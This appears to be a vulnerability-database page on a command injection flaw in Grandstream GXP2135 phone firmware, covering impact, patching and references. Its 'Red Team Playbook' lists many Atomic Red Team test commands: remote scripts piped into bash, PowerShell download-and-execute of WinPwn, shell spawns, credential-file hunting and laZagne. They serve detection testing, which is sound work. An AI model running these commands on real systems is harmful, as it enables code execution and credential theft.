CVE-2024-32937
Overview
The vulnerability is an OS command injection rooted in improper input validation within the CWMP SelfDefinedTimeZone functionality of the Grandstream GXP2135 firmware. Specifically, the affected component fails to sanitize user-supplied data in network packets, allowing execution of arbitrary shell commands. This flaw exists in firmware versions 1.0.9.129, 1.0.11.74, and 1.0.11.79, impacting the device's command processing logic tied to time zone configuration.
Vulnerability Description
An os command injection vulnerability exists in the CWMP SelfDefinedTimeZone functionality of Grandstream GXP2135 1.0.9.129, 1.0.11.74 and 1.0.11.79. A specially crafted network packet can lead to arbitrary command execution. An attacker can send a sequence of malicious packets to trigger this vulnerability.
Impact
An unauthenticated remote attacker with network access can exploit this vulnerability to execute arbitrary OS commands on the affected device, potentially gaining full control over the system. This can lead to unauthorized data access, device manipulation, or disruption of telephony services. The attack requires no user interaction and benefits from network-level access, as indicated by the CVSS vector AV:N/AC:H/PR:N/UI:N, emphasizing remote exploitability with high impact on confidentiality, integrity, and availability.
Solution
Grandstream has addressed this vulnerability in updated firmware releases subsequent to versions 1.0.9.129, 1.0.11.74, and 1.0.11.79. Users of the Grandstream GXP2135 should apply the latest firmware updates as detailed in the advisory published by Talos Intelligence (TALOS-2024-1978) at https://talosintelligence.com/vulnerability_reports/TALOS-2024-1978. No alternative workarounds are documented; timely firmware upgrade is the recommended mitigation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability identified within the CWMP SelfDefinedTimeZone functionality of specific firmware versions for the Grandstream GXP2135 VoIP phone presents a significant security risk due to its potential for arbitrary command execution. This flaw arises from improper validation of input data, allowing an attacker to inject operating system commands through specially crafted network packets. The exploitation of this vulnerability can occur without authentication, making it particularly dangerous as it does not require the attacker to have prior access to the device. The severity of this issue is underscored by its high CVSS score, indicating a critical level of risk.
Attack vectors for this vulnerability are primarily network-based, where an adversary can send malicious packets to the affected devices over the internet or local network. Given that the GXP2135 is often deployed in enterprise environments, the potential for widespread exploitation is considerable. An attacker could leverage this vulnerability to execute arbitrary commands on the device, leading to unauthorized access, data exfiltration, or even the ability to pivot to other devices within the network. Scenarios include using the compromised device to launch further attacks, intercept communications, or manipulate configurations, all of which could severely disrupt business operations.
The real-world impact of this vulnerability can be profound, particularly for organizations that rely on VoIP technology for their communications. Successful exploitation could lead to significant financial losses, reputational damage, and regulatory repercussions, especially if sensitive information is compromised. Additionally, the ability to execute arbitrary commands could allow attackers to install malware or create backdoors, further exacerbating the risk. For businesses, the implications extend beyond immediate financial costs, as the loss of customer trust and potential legal liabilities can have long-lasting effects on operations.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating firmware to the latest versions provided by the manufacturer is essential, as these updates often include patches for known vulnerabilities. Network monitoring tools can be employed to detect unusual traffic patterns indicative of exploitation attempts, such as unexpected packet sequences targeting the GXP2135 devices. Furthermore, segmenting the network to isolate VoIP devices from critical systems can limit the potential impact of an attack. Employing intrusion detection systems (IDS) can also help identify and respond to suspicious activities in real-time.
In conclusion, the command injection vulnerability in the Grandstream GXP2135 firmware represents a critical threat that necessitates immediate attention from affected organizations. The ease of exploitation combined with the potential for severe consequences underscores the importance of proactive security measures. By prioritizing firmware updates, implementing robust network monitoring, and maintaining a strong security posture, organizations can significantly reduce their risk exposure and protect their communications infrastructure from malicious actors.
Affected Products (3)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Grandstream | Gxp2135 Firmware | 1.0.9.129 |
cpe:2.3:o:grandstream:gxp2135_firmware:1.0.9.129:*:*:*:*:*:*:*
|
|
|
Grandstream | Gxp2135 Firmware | 1.0.11.74 |
cpe:2.3:o:grandstream:gxp2135_firmware:1.0.11.74:*:*:*:*:*:*:*
|
|
|
Grandstream | Gxp2135 Firmware | 1.0.11.79 |
cpe:2.3:o:grandstream:gxp2135_firmware:1.0.11.79:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
45%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-32937 |
| talosintelligence.com |
GitHub CVE
|
https://talosintelligence.com/vulnerability_reports/TALOS-2024-1978 |
| talosintelligence.com |
NVD API
|
https://www.talosintelligence.com/vulnerability_reports/TALOS-2024-1978 |